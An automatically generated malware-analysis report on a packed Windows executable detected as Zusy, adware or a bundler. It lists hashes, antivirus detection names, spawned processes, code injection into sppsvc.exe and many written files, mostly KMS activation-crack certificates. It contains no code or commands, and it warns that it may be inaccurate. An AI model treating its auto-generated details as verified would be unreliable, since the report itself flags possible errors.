Gen.Variant.Zusy.273674_3e9688f2e3

by malwarelabrobot on April 13th, 2018 in Malware Descriptions.

Gen:Variant.Zusy.273674 (BitDefender), SoftwareBundler:Win32/Prepscram (Microsoft), not-a-virus:HEUR:AdWare.Win32.Generic (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Gen:Variant.Zusy.273674 (B) (Emsisoft), PUP-XDW-HY!3E9688F2E302 (McAfee), PUA.Bundler (Ikarus), Gen:Variant.Zusy.273674 (FSecure), Win32:Malware-gen (AVG), Win32:Malware-gen (Avast), TROJ_GEN.R002C0PAS18 (TrendMicro), mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan, PUP, Adware, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 3e9688f2e302e06b243e7c573b601176
SHA1: bcb32d1d8d08bf76fb9425536931908eb59ff327
SHA256: 239005b3ae1a9ec72f9d5af3ce0b5876f350f06b88d25b097dd51da269307a9b
SSDeep: 49152:x82nRRhMGL6vW6KnsTWrS1NzToW6KnsTWrS1NzT:xrjuvzTKCvozTKCv
Size: 2058752 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company:
Created at: 2018-01-25 18:13:32
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:816
regedit.exe:2620
regedit.exe:2240
regedit.exe:1796
AutoPico.exe:4080
OSPPSVC.EXE:1948
kms.exe:3348

The Trojan injects its code into the following process(es):

sppsvc.exe:3364

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:816 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\normal_bg4[1].png (8463 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (960 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5085757\kms.exe (885 bytes)

The process AutoPico.exe:4080 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\logs\AutoPico.log (69923 bytes)

The process OSPPSVC.EXE:1948 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\ProgramData\Microsoft\OfficeSoftwareProtectionPlatform\Cache\cache.dat (821 bytes)
C:\ProgramData\Microsoft\OfficeSoftwareProtectionPlatform\tokens.dat (153414 bytes)

The Trojan deletes the following file(s):

C:\ProgramData\Microsoft\OfficeSoftwareProtectionPlatform\tokens.dat.bak (0 bytes)

The process kms.exe:3348 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.PPDLIC.xrm-ms (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\LicenseSetData._B322DA9C_A2E2_4058_9E4E_F59A6970BD69.PPDLIC.xrm-ms (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard\LicenseSetData._B13AFB38_CD79_4AE5_9F7F_EED058D750CA.PPDLIC.xrm-ms (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\DevComponents.DotNetBar2.dll (53067 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd\LicenseSetData._AC4EFAF0_F81F_4F61_BDF7_EA32B02AB117.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6 (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8 (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath\LicenseSetData._A30B8040_D68A_423F_B0B5_9CE292EA5A8F.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Professional\Professional-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-RAC-private.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_UL_OOB.xrm-ms (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word\LicenseSetData._D9F5B1C6_5386_495A_88F9_9AD6B41AC9B3.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\pkeyconfig.xrm-ms (494 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNoteVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\Remove_ScheduleTask.cmd (88 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.PPDLIC.xrm-ms (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-root-bridge-test.xrm-ms (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasicsVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro\LicenseSetData._4A5D124A_E620_44BA_B6FF_658961B33B9A.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Enterprise\Enterprise-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint\PowerPointVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-2-ul.xrm-ms (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_BRIDGE_OFFICE.xrm-ms (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\LicenseSetData._B322DA9C_A2E2_4058_9E4E_F59A6970BD69.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\StandardVLRegWOW.reg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\AccessVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerDatacenter\ServerDatacenter-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd\LicenseSetData._AC4EFAF0_F81F_4F61_BDF7_EA32B02AB117.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_UL.xrm-ms (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-ul.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\EnterpriseN\EnterpriseN-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ProfessionalWMC (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\LicenseSetData._E13AC10E_75D0_4AFF_A0CD_764982CF541C.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd\VisioStdVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-ul-oob.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreSingleLanguage\CoreSingleLanguage-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasicsVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectProVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10 (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard\LicenseSetData._B13AFB38_CD79_4AE5_9F7F_EED058D750CA.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-ul-oob.xrm-ms (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPointVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-RAC-private.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher\LicenseSetData._00C79FF1_6850_443D_BF61_71CDE0DE305F.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPointVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo\MondoVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\visio.reg (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\Restore_Watermark.cmd (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalN\ProfessionalN-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-1-ul-rtm.xrm-ms (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Enterprise\Enterprise-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS1-pl.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-RAC-private.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Professional\Professional-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-ul.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS1-pl.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard\StandardVL_KMS_Client-ppd.xrm-ms (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote\OneNoteVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook\LicenseSetData._771C3AFA_50C5_443F_B151_FF2546D863A0.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Professional\Professional-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint\PowerPointVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Education\Education-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81 (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\AutoPico.exe (16222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\begin.mp3 (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_STIL.xrm-ms (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\EnterpriseN\EnterpriseN-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro\ProjectProVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access\AccessVL_KMS_Client_PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\pkeyconfig.xrm-ms (620 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\ExcelVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioStd\LicenseSetData._AC4EFAF0_F81F_4F61_BDF7_EA32B02AB117.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS1-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word\WordVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro\ProjectProVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\EmbeddedIndustry (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote\OneNoteVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNoteVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel\ExcelVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\LicenseSetData._E13AC10E_75D0_4AFF_A0CD_764982CF541C.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook\LicenseSetData._771C3AFA_50C5_443F_B151_FF2546D863A0.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd\LicenseSetData._427A28D1_D17C_4ABF_B717_32C780BA6F07.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\PowerPoint\PowerPointVL_KMS_Client-ppd.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\GrooveVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\transfer.mp3 (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\EnableSmartScreen.cmd (72 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS1-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd\ProjectStdVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro\LicenseSetData._4A5D124A_E620_44BA_B6FF_658961B33B9A.OOB.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreSingleLanguage (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint\LicenseSetData._8C762649_97D1_4953_AD27_B7E2C25B972E.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher\PublisherVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioVLRegWOW.reg (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.PL.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS-ul-phn.xrm-ms (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-ul-oob.xrm-ms (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Core\Core-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioVLReg64.reg (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync\LicenseSetData._1B9F11E3_C85C_4E1B_BB29_879AD2C909E3.PL.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word\WordVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPoint_KMS_Client.OOB.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.PPDLIC.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook\OutlookVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness\SkypeforBusinessVL_KMS_Client-ul.xrm-ms (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStdVLReg32.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPointVLReg64.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync\LicenseSetData._1B9F11E3_C85C_4E1B_BB29_879AD2C909E3.PPDLIC.xrm-ms (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS-pl.xrm-ms (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\ExcelVLRegWOW.reg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-RAC-public.xrm-ms (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-RAC-public.xrm-ms (4 bytes)
